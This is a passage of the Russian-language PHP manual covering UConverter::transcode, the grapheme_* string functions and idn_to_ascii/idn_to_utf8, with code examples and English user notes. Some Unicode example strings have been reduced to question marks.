Если входная строка содержит символы, которые не могут быть представлены в кодировке toEncoding, они заменяются одним символом. Используемый по умолчанию символ зависит от кодировки и может управляться с помощью параметра 'to_subst'.

<?php
$utf8_string = "\xE2\x82\xAC"; // € (Знак евро) не существует в ISO 8859-1

// Замена по умолчанию в ISO 8859-1 - "\x1A" (Заменитель)
$iso8859_1_string = UConverter::transcode($utf8_string, 'ISO-8859-1', 'UTF-8');
echo bin2hex($iso8859_1_string), "\n";

// Использование в качестве заменителя символа '?' ("\x3F").
$iso8859_1_string = UConverter::transcode(
$utf8_string, 'ISO-8859-1', 'UTF-8', ['to_subst' => '?']
);
echo bin2hex($iso8859_1_string), "\n";

// Поскольку ISO 8859-1 не может отобразить U+FFFD, недействительная входная строка также заменяется на to_subst
$invalid_utf8_string = "\xC3"; // неполная многобайтовая последовательность UTF-8
$iso8859_1_string = UConverter::transcode(
$invalid_utf8_string, 'ISO-8859-1', 'UTF-8', ['to_subst' => '?']
);
echo bin2hex($iso8859_1_string), "\n";
?>

Результат выполнения данного примера:

1a
3f
3f

Смотрите также

  • mb_convert_encoding() - Преобразует строку из одной кодировки символов в другую
  • iconv() - Преобразует строку из одной кодировки символов в другую

User Contributed Notes

There are no user contributed notes for this page.


Функции Grapheme

Содержание

  • grapheme_extract — Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8
  • grapheme_stripos — Находит позицию (в единицах графемы) первого появления строки без учёта регистра
  • grapheme_stristr — Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
  • grapheme_strlen — Получает длину строки в единицах графемы
  • grapheme_strpos — Находит позицию (в единицах графемы) первого вхождения строки
  • grapheme_strripos — Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
  • grapheme_strrpos — Находит позицию (в единицах графемы) последнего вхождения строки
  • grapheme_strstr — Возвращает часть строки haystack от первого появления needle до конца haystack
  • grapheme_substr — Возвращает часть строки

User Contributed Notes

There are no user contributed notes for this page.


Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8

  • « Функции Grapheme
  • grapheme_stripos »
  • PHP Manual
  • Функции Grapheme
  • Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8

grapheme_extract

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_extract — Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8

Описание

Процедурный стиль

grapheme_extract(
string $haystack,
int $size,
int $type = GRAPHEME_EXTR_COUNT,
int $offset = 0,
int &$next = null
): string|false

Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8.

Список параметров

haystack

Строка для поиска.

size

Максимальное количество возвращаемых элементов на основе type.

type

Определяет тип единиц, на которые указывает параметр size:

  • GRAPHEME_EXTR_COUNT (по умолчанию) - size - это количество кластеров графемы для извлечения по умолчанию.
  • GRAPHEME_EXTR_MAXBYTES - size - максимальное количество возвращаемых байтов.
  • GRAPHEME_EXTR_MAXCHARS - size - это максимальное количество возвращаемых символов UTF-8.

offset

Начальная позиция haystack в байтах - если задано, оно должно быть нулём или положительным значением, которое меньше или равно длине haystack в байтах, либо отрицательным значением, отсчитываемым от конца haystack. Если offset не указывает на первый байт символа UTF-8, начальная позиция перемещается на границу следующего символа.

next

Ссылка на значение, которое будет установлено для следующей начальной позиции. Когда вызов возвращается, это может указывать на позицию первого байта за концом строки.

Возвращаемые значения

Строка, начинающаяся со смещения offset и заканчивающаяся границей кластера графемы по умолчанию, которая соответствует указанным size и type или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.0 | Добавлена поддержка отрицательных значений offset.

Примеры

Пример #1 Пример использования grapheme_extract()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_extract( $char_a_ring_nfd . $char_o_diaeresis_nfd, 1, GRAPHEME_EXTR_COUNT, 2));

?>

Результат выполнения данного примера:

o%CC%88

Смотрите также

  • grapheme_substr() - Возвращает часть строки
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

Philo 06-Nov-2023 09:20
The other comments on this page were helpful for me.
However, consider using something better than empty($value) when checking the value returned by grapheme_extract since it could as well return something like "0" (which of course evaluates to false).
yevgen dot grytsay at gmail dot com 19-Oct-2020 01:35
Looping through grapheme clusters:

<?php

// Example taken from Rust documentation: https://doc.rust-lang.org/book/ch08-02-strings.html#bytes-and-scalar-values-and-grapheme-clusters-oh-my
$str = "??????";
// Alternatively:
//$str = pack('C*', ...[224, 164, 168, 224, 164, 174, 224, 164, 184, 224, 165, 141, 224, 164, 164, 224, 165, 135]);
$next = 0;
$maxbytes = strlen($str);

var_dump($str);

while ($next < $maxbytes) {
    $char = grapheme_extract($str, 1, GRAPHEME_EXTR_COUNT, $next, $next);
    if (empty($char)) {
        continue;
    }
    echo "{$char} - This utf8 character is " . strlen($char) . ' bytes long', PHP_EOL;
}

//string(18) "??????"
//? - This utf8 character is 3 bytes long
//? - This utf8 character is 3 bytes long
//?? - This utf8 character is 6 bytes long
//?? - This utf8 character is 6 bytes long
?>
AJH 12-Jul-2011 04:37
Here's how to use grapheme_extract() to loop across a UTF-8 string character by character.

<?php

$str = "?abc?'...";
// if the previous line didn't come through, the string contained:
//U+0633,U+0061,U+0062,U+0063,U+0915,U+2019,U+2026

$n = 0;

for (    $start = 0, $next = 0, $maxbytes = strlen($str), $c = '';
        $start < $maxbytes;
        $c = grapheme_extract($str, 1, GRAPHEME_EXTR_MAXCHARS , ($start = $next), $next)
    )
{
    if (empty($c))
        continue;
    echo "This utf8 character is " . strlen($c) . " bytes long and its first byte is " . ord($c[0]) . "\n";
    $n++;
}
echo "$n UTF-8 characters in a string of $maxbytes bytes!\n";
// Should print: 7 UTF8 characters in a string of 14 bytes!
?>


Находит позицию (в единицах графемы) первого появления строки без учёта регистра

  • « grapheme_extract
  • grapheme_stristr »
  • PHP Manual
  • Функции Grapheme
  • Находит позицию (в единицах графемы) первого появления строки без учёта регистра

grapheme_stripos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_stripos — Находит позицию (в единицах графемы) первого появления строки без учёта регистра

Описание

Процедурный стиль

grapheme_stripos(string $haystack, string $needle, int $offset = 0): int|false

Находит позицию (в единицах графемы) первого появления строки без учёта регистра.

Список параметров

haystack

Строка для поиска. Должна быть корректным UTF-8.

needle

Строка, которую нужно найти. Должна быть корректным UTF-8.

offset

Необязательный параметр offset позволяет указать, где в haystack начинать поиск в виде смещения в единицах графемы (не в байтах или символах). Если смещение отрицательное, оно обрабатывается относительно конца строки. Возвращённая позиция по-прежнему относительно начала haystack, независимо от значения offset.

Возвращаемые значения

Возвращает позицию как целое число. Если вхождение needle не найдено, функция grapheme_stripos() вернёт false.

Список изменений

Версия | Описание
7.1.0 | Добавлена поддержка отрицательных значений offset.

Примеры

Пример #1 Пример использования grapheme_stripos()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_stripos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

Результат выполнения данного примера:

2

Смотрите также

  • grapheme_stristr() - Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
  • grapheme_strpos() - Находит позицию (в единицах графемы) первого вхождения строки
  • grapheme_strripos() - Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
  • grapheme_strrpos() - Находит позицию (в единицах графемы) последнего вхождения строки
  • grapheme_strstr() - Возвращает часть строки haystack от первого появления needle до конца haystack
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

Anonymous 26-Jun-2018 06:12
As expected, grapheme_stripos() does return boolean FALSE if the needle is not found in the haystack.
Use strict type comparison to check for that condition, like:

if (FALSE === grapheme_stripos('a', 'b')) {print 'Needle not found';}


Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack

  • « grapheme_stripos
  • grapheme_strlen »
  • PHP Manual
  • Функции Grapheme
  • Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack

grapheme_stristr

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_stristr — Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack

Описание

Процедурный стиль

grapheme_stristr(string $haystack, string $needle, bool $beforeNeedle = false): string|false

Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack.

Список параметров

haystack

Входная строка. Должна быть корректным UTF-8.

needle

Строка, которую нужно найти. Должна быть корректным UTF-8.

beforeNeedle

Если true, функция grapheme_strstr() возвращает часть haystack до первого появления needle (исключая needle).

Возвращаемые значения

Возвращает часть строки или false, если вхождение needle не найдено.

Примеры

Пример #1 Пример использования grapheme_stristr()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_O_diaeresis_nfd));

?>

Результат выполнения данного примера:

o%CC%88a%CC%8A

Смотрите также

  • grapheme_stripos() - Находит позицию (в единицах графемы) первого появления строки без учёта регистра
  • grapheme_strpos() - Находит позицию (в единицах графемы) первого вхождения строки
  • grapheme_strripos() - Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
  • grapheme_strrpos() - Находит позицию (в единицах графемы) последнего вхождения строки
  • grapheme_strstr() - Возвращает часть строки haystack от первого появления needle до конца haystack
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

There are no user contributed notes for this page.


Получает длину строки в единицах графемы

  • « grapheme_stristr
  • grapheme_strpos »
  • PHP Manual
  • Функции Grapheme
  • Получает длину строки в единицах графемы

grapheme_strlen

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strlen — Получает длину строки в единицах графемы

Описание

Процедурный стиль

grapheme_strlen(string $string): int|false|null

Получает длину строки в единицах графемы (не байты или символы)

Список параметров

string

Строка, которую необходимо измерить. Должна быть корректная строка в кодировке UTF-8.

Возвращаемые значения

Длина строки в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования grapheme_strlen()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strlen( 'abc' . $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd);

?>

Результат выполнения данного примера:

6

Смотрите также

  • » Сегментация текста в Unicode: границы кластера графемы
  • iconv_strlen() - Возвращает количество символов в строке
  • mb_strlen() - Получает длину строки
  • strlen() - Возвращает длину строки

User Contributed Notes

jonhoggg at gmail dot com 09-Dec-2021 04:08
You can use grapheme_strlen() to count emojis as a single character:

<?php
    echo strlen('??????????????'); //28 - oh no
    echo mb_strlen('??????????????'); // - closer, but no
    echo grapheme_strlen('??????????????'); //1 - Bingo
?>


Находит позицию (в единицах графемы) первого вхождения строки

  • « grapheme_strlen
  • grapheme_strripos »
  • PHP Manual
  • Функции Grapheme
  • Находит позицию (в единицах графемы) первого вхождения строки

grapheme_strpos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strpos — Находит позицию (в единицах графемы) первого вхождения строки

Описание

Процедурный стиль

grapheme_strpos(string $haystack, string $needle, int $offset = 0): int|false

Находит позицию (в единицах графемы) первого вхождения строки.

Список параметров

haystack

Строка для поиска. Должна быть корректным UTF-8.

needle

Строка, которую нужно найти. Должна быть корректным UTF-8.

offset

Необязательный параметр offset позволяет указать, где в haystack начинать поиск в виде смещения в единицах графемы (не в байтах или символах). Если смещение отрицательное, оно обрабатывается относительно конца строки. Возвращённая позиция по-прежнему относительно начала haystack, независимо от значения offset.

Возвращаемые значения

Возвращает позицию как целое число. Если вхождение needle не найдено, функция grapheme_strpos() вернёт false.

Список изменений

Версия | Описание
7.1.0 | Добавлена поддержка отрицательных значений offset.

Примеры

Пример #1 Пример использования grapheme_strpos()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strpos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);

?>

Результат выполнения данного примера:

2

Смотрите также

  • grapheme_stripos() - Находит позицию (в единицах графемы) первого появления строки без учёта регистра
  • grapheme_stristr() - Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
  • grapheme_strripos() - Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
  • grapheme_strrpos() - Находит позицию (в единицах графемы) последнего вхождения строки
  • grapheme_strstr() - Возвращает часть строки haystack от первого появления needle до конца haystack
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

There are no user contributed notes for this page.


Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра

  • « grapheme_strpos
  • grapheme_strrpos »
  • PHP Manual
  • Функции Grapheme
  • Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра

grapheme_strripos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strripos — Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра

Описание

Процедурный стиль

grapheme_strripos(string $haystack, string $needle, int $offset = 0): int|false

Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра.

Список параметров

haystack

Строка для поиска. Должна быть корректным UTF-8.

needle

Строка, которую нужно найти. Должна быть корректным UTF-8.

offset

Необязательный параметр offset позволяет указать, где в haystack начинать поиск в виде смещения в единицах графемы (не в байтах или символах). Если смещение отрицательное, оно обрабатывается относительно конца строки. Возвращённая позиция по-прежнему относительно начала haystack, независимо от значения offset.

Возвращаемые значения

Возвращает позицию как целое число. Если вхождение needle не найдено, функция grapheme_strripos() вернёт false.

Примеры

Пример #1 Пример использования grapheme_strripos()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_strripos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

Результат выполнения данного примера:

2

Смотрите также

  • grapheme_stripos() - Находит позицию (в единицах графемы) первого появления строки без учёта регистра
  • grapheme_stristr() - Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
  • grapheme_strpos() - Находит позицию (в единицах графемы) первого вхождения строки
  • grapheme_strrpos() - Находит позицию (в единицах графемы) последнего вхождения строки
  • grapheme_strstr() - Возвращает часть строки haystack от первого появления needle до конца haystack
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

There are no user contributed notes for this page.


Находит позицию (в единицах графемы) последнего вхождения строки

  • « grapheme_strripos
  • grapheme_strstr »
  • PHP Manual
  • Функции Grapheme
  • Находит позицию (в единицах графемы) последнего вхождения строки

grapheme_strrpos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strrpos — Находит позицию (в единицах графемы) последнего вхождения строки

Описание

Процедурный стиль

grapheme_strrpos(string $haystack, string $needle, int $offset = 0): int|false

Находит позицию (в единицах графемы) последнего вхождения строки.

Список параметров

haystack

Строка для поиска. Должна быть корректным UTF-8.

needle

Строка, которую нужно найти. Должна быть корректным UTF-8.

offset

Необязательный параметр offset позволяет указать, где в haystack начинать поиск в виде смещения в единицах графемы (не в байтах или символах). Если смещение отрицательное, оно обрабатывается относительно конца строки. Возвращённая позиция по-прежнему относительно начала haystack, независимо от значения offset.

Возвращаемые значения

Возвращает позицию как целое число. Если вхождение needle не найдено, функция grapheme_strrpos() вернёт false.

Примеры

Пример #1 Пример использования grapheme_strrpos()

<?php
$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strrpos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);
?>

Результат выполнения данного примера:

2

Смотрите также

  • grapheme_stripos() - Находит позицию (в единицах графемы) первого появления строки без учёта регистра
  • grapheme_stristr() - Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
  • grapheme_strpos() - Находит позицию (в единицах графемы) первого вхождения строки
  • grapheme_strripos() - Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
  • grapheme_strstr() - Возвращает часть строки haystack от первого появления needle до конца haystack
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

There are no user contributed notes for this page.


Возвращает часть строки haystack от первого появления needle до конца haystack

  • « grapheme_strrpos
  • grapheme_substr »
  • PHP Manual
  • Функции Grapheme
  • Возвращает часть строки haystack от первого появления needle до конца haystack

grapheme_strstr

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strstr — Возвращает часть строки haystack от первого появления needle до конца haystack

Описание

Процедурный стиль

grapheme_strstr(string $haystack, string $needle, bool $beforeNeedle = false): string|false

Возвращает часть строки haystack от первого появления needle до конца haystack (включая needle).

Список параметров

haystack

Входная строка. Должна быть корректным UTF-8.

needle

Строка, которую нужно найти. Должна быть корректным UTF-8.

beforeNeedle

Если true, функция grapheme_strstr() возвращает часть haystack перед первым появлением needle (исключая needle).

Возвращаемые значения

Возвращает часть строки haystack или false, если вхождение needle не найдено.

Примеры

Пример #1 Пример использования grapheme_strstr()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_o_diaeresis_nfd));

?>

Результат выполнения данного примера:

o%CC%88a%CC%8A

Смотрите также

  • grapheme_stristr() - Возвращает часть строки haystack от первого появления needle без учёта регистра до конца haystack
  • grapheme_stripos() - Находит позицию (в единицах графемы) первого появления строки без учёта регистра
  • grapheme_strpos() - Находит позицию (в единицах графемы) первого вхождения строки
  • grapheme_strripos() - Находит позицию (в единицах графемы) последнего вхождения строки без учёта регистра
  • grapheme_strrpos() - Находит позицию (в единицах графемы) последнего вхождения строки
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

There are no user contributed notes for this page.


Возвращает часть строки

  • « grapheme_strstr
  • Функции IDN »
  • PHP Manual
  • Функции Grapheme
  • Возвращает часть строки

grapheme_substr

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_substr — Возвращает часть строки

Описание

Процедурный стиль

grapheme_substr(string $string, int $offset, ?int $length = null): string|false

Возвращает часть строки.

Список параметров

string

Входная строка. Должна быть корректным UTF-8.

offset

Начальная позиция в единицах графемы по умолчанию. Если offset больше, либо равна нулю, возвращаемая строка будет начинаться с позиции offset в $string, начиная с нуля. Если значение offset отрицательное, возвращаемая строка будет начинаться с единицы графемы offset от конца строки.

length

Длина в графемных единицах. Если задано положительное значение length, возвращаемая строка будет содержать не более length единиц графемы, начиная со значения offset (в зависимости от длины строки). Если задано отрицательное значение length, то такое количество единиц графемы будет опущено в конце строки (после того, как начальная позиция была вычислена, если параметр offset отрицательный). Если offset обозначает позицию за пределами этого усечения, будет возвращена пустая строка.

Возвращаемые значения

Возвращает извлечённую часть string или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция теперь последовательно прижимает выходящие за границы смещения к границе строки. Ранее в некоторых случаях вместо пустой строки возвращалось значение false.

Примеры

Пример #1 Пример использования grapheme_substr()

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_substr( "ao" . $char_a_ring_nfd . "bc" . $char_o_diaeresis_nfd . "O", 2, -1 ));
?>

Результат выполнения данного примера:

a%CC%8Abco%CC%88

Смотрите также

  • grapheme_extract() - Функция для извлечения последовательности кластеров графем по умолчанию из текстового буфера, которая должна быть закодирована в UTF-8
  • » Сегментация текста в Unicode: границы кластера графемы

User Contributed Notes

There are no user contributed notes for this page.


Функции IDN

Содержание

  • idn_to_ascii — Преобразовать доменное имя в формат IDNA ASCII
  • idn_to_utf8 — Преобразование доменного имени из IDNA ASCII в Unicode

User Contributed Notes

dklabbers at hostingxs dot nl 23-Apr-2015 07:29
In addition to the previous comment, php5-idn has merged into the php5-intl package. Use apt-get install php5-intl on ubuntu to use these idn features.
stepanov dot inbox at gmail dot com 05-Jul-2013 09:29
Keep in mind that a php module is required to use these functions (which may not be present on your shared hosting).

php5-idn - PHP API for the IDNA library (e.g. in Debian/Ubuntu)


Преобразовать доменное имя в формат IDNA ASCII

  • « Функции IDN
  • idn_to_utf8 »
  • PHP Manual
  • Функции IDN
  • Преобразовать доменное имя в формат IDNA ASCII

idn_to_ascii

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_ascii — Преобразовать доменное имя в формат IDNA ASCII

Описание

Процедурный стиль

idn_to_ascii(
string $domain,
int $flags = IDNA_DEFAULT,
int $variant = INTL_IDNA_VARIANT_UTS46,
array &$idna_info = null
): string|false

Эта функция преобразует доменное имя из Unicode в IDNA ASCII.

Список параметров

domain

Имя для преобразования, должно быть в кодировке UTF-8.

flags

Опции преобразования - комбинация констант IDNA_* (кроме констант IDNA_ERROR_*).

variant

INTL_IDNA_VARIANT_2003 (объявлена устаревшей начиная с PHP 7.2.0) для IDNA 2003 или INTL_IDNA_VARIANT_UTS46 (доступна только с ICU 4.6) для UTS #46.

idna_info

Этот параметр используется только если используется INTL_IDNA_VARIANT_UTS46 в variant. В этом случае он будет заполнен массивом с ключами 'result', возможными ошибочными результатами преобразования, 'isTransitionalDifferent', логическое выражение означает изменило или могло бы изменить результат при использовании сквозного механизма UTS #46, и 'errors', содержащими целочисленное представление битовой маски из констант IDNA_ERROR_*.

Возвращаемые значения

Доменное имя в представлении ASCII или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.4.0 | Теперь значение по умолчанию variant изменено на INTL_IDNA_VARIANT_UTS46 вместо устаревшей константы INTL_IDNA_VARIANT_2003.
7.2.0 | INTL_IDNA_VARIANT_2003 объявлена устаревшей, вместо неё используйте INTL_IDNA_VARIANT_UTS46.

Примеры

Пример #1 Пример использования idn_to_ascii()

<?php

echo idn_to_ascii('tast.de');

?>

Результат выполнения данного примера:

xn--tst-qla.de

Смотрите также

  • idn_to_utf8() - Преобразование доменного имени из IDNA ASCII в Unicode

User Contributed Notes

mpf at mk dot de 16-Nov-2023 08:20
The documentation ist not clear what failure in the return section means. This should be substituted to something like this:

"Returns failure if the given string could not be converted".
alexchexes at gmail dot com 06-Sep-2023 09:40
idn_to_ascii and idn_to_utf8 functions don't properly handle full URLs (i.e. with schema and paths), so here's the helper functions which handles all URLs, including ones with path but without a scheme

<?php
/**
 * Converts URLS to punycode
 * It doesn't url-encodes other parts
 * The initial code from snipp dor ru website, here is modified version that handles urls without scheme
 */
function punycode_encode($url)
{
    $no_scheme = false;
    if (!preg_match('/^.+?:\/\//', $url) && substr($url, 0, 2) !== '//') {
        $url = '//' . $url;
        $no_scheme = true;
    }

    $parts = parse_url($url);

    $out = '';
    if (!empty($parts['scheme']))   $out .= $parts['scheme'] . ':';
    if (!empty($parts['host']))     $out .= '//';
    if (!empty($parts['user']))     $out .= $parts['user'];
    if (!empty($parts['pass']))     $out .= ':' . $parts['pass'];
    if (!empty($parts['user']))     $out .= '@';
    if (!empty($parts['host']))     $out .= idn_to_ascii($parts['host']);
    if (!empty($parts['port']))     $out .= ':' . $parts['port'];
    if (!empty($parts['path']))     $out .= $parts['path'];
    if (!empty($parts['query']))    $out .= '?' . $parts['query'];
    if (!empty($parts['fragment'])) $out .= '#' . $parts['fragment'];

    if ($no_scheme) {
        $out = substr($out, 2);
    }

    return $out;
}

function punycode_decode($url)
{
    $no_scheme = false;
    if (!preg_match('/^.+?:\/\//', $url) && substr($url, 0, 2) !== '//') {
        $url = '//' . $url;
        $no_scheme = true;
    }

    $parts = parse_url($url);
    $out = '';
    if (!empty($parts['scheme']))   $out .= $parts['scheme'] . ':';
    if (!empty($parts['host']))     $out .= '//';
    if (!empty($parts['user']))     $out .= $parts['user'];
    if (!empty($parts['pass']))     $out .= ':' . $parts['pass'];
    if (!empty($parts['user']))     $out .= '@';
    if (!empty($parts['host']))     $out .= idn_to_utf8($parts['host']);
    if (!empty($parts['port']))     $out .= ':' . $parts['port'];
    if (!empty($parts['path']))     $out .= $parts['path'];
    if (!empty($parts['query']))    $out .= '?' . $parts['query'];
    if (!empty($parts['fragment'])) $out .= '#' . $parts['fragment'];

    if ($no_scheme) {
        $out = substr($out, 2);
    }

    return $out;
}
waxblur at gmx dot at 02-Dec-2020 09:16
In Windows, the path to the PHP folder must still be present in the PATH environment variable, becouse the necessary DLLs (icudt65.dll, icuin65.dll etc.) are available in this folder.
mschrieck at gmail dot com 31-Mar-2017 01:03
To convert IDN Domains with the IDNA2008 definition use following command.

idn_to_ascii('te?t.com',IDNA_NONTRANSITIONAL_TO_ASCII,INTL_IDNA_VARIANT_UTS46)

The result is then as expected

xn--tet-6ka.com
edible dot email at gmail dot com 03-Jun-2012 05:08
The notes on this function are not very clear and a little misleading.

Firstly, <=5.3, you will need to make use of one of several scripts or classes available on the internet which might, or might not, require the installation of of the intl and idn PECL extensions ...and you will need to have !<4.0 in order to be able to install both.

Secondly, if you have >=5.4 you will not require the PECL extensions.

Third, use of utf8_encode() is not necessary.  In fact, it will potentially prevent idn_to_ascii() from working at all.

On my setup it was necessary to change the charset in the script meta tags to UTF-8:

<meta http-equiv="Content-Type" content="text/html; CHARSET=Windows-1251" />

...and to change charset_default in the php.ini file (/usr/local/lib/php.ini, whereis php.ini, find / -name php.ini):

default_charset = "UTF-8"

The above changes mean that idn_to_ascii() can now be used with that syntax (no need for utf8_encode()).  Previously, the function worked to convert some IDNs, but failed to convert Japanese and Cyrillic IDNs.  Further, no additional locales were enabled or added, and Apache's charset file was left unmodified.

It is also important to remember only to apply the function where required, eg:

idn_to_ascii(casino.com) // is wrong

...whereas...

iden_to_ascii(casino) // is right

...and also be aware of text editors that don't support UTF-8 encoding, or the $domain = 'casino' value will end up as $domain = '??????' ...and the function will fail.

I have found that Notepad++ easily and reliably handles UTF-8 encoding that works for this function using UTF-8 as the encoding option, not UTF-8 without BOM.


Преобразование доменного имени из IDNA ASCII в Unicode

  • « idn_to_ascii
  • IntlChar »
  • PHP Manual
  • Функции IDN
  • Преобразование доменного имени из IDNA ASCII в Unicode

idn_to_utf8

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.2, PECL idn >= 0.1)

idn_to_utf8 — Преобразование доменного имени из IDNA ASCII в Unicode

Описание

Процедурный стиль

idn_to_utf8(
string $domain,
int $flags = IDNA_DEFAULT,
int $variant = INTL_IDNA_VARIANT_UTS46,
array &$idna_info = null
): string|false

Эта функция преобразует доменные имена из формата IDNA ASCII в Unicode, в кодировке UTF-8.

Список параметров

domain

Доменное имя в формате IDNA ASCII.

flags

Опции преобразования - комбинация констант IDNA_* (кроме констант IDNA_ERROR_*).

variant

INTL_IDNA_VARIANT_2003 (объявлена устаревшей начиная с PHP 7.2.0) для IDNA 2003 или INTL_IDNA_VARIANT_UTS46 (доступна только с ICU 4.6) для UTS #46.

idna_info

Этот параметр используется только если используется INTL_IDNA_VARIANT_UTS46 в variant. В этом случае он будет заполнен массивом с ключами 'result', возможными ошибочными результатами преобразования, 'isTransitionalDifferent', логическое выражение означает изменило или могло бы изменить результат при использовании сквозного механизма UTS #46, и 'errors', содержащими целочисленное представление битовой маски из констант IDNA_ERROR_*.

Возвращаемые значения

Доменное имя в Unicode, в кодировке UTF-8 или false в случае возникновения ошибки.

Список изменений

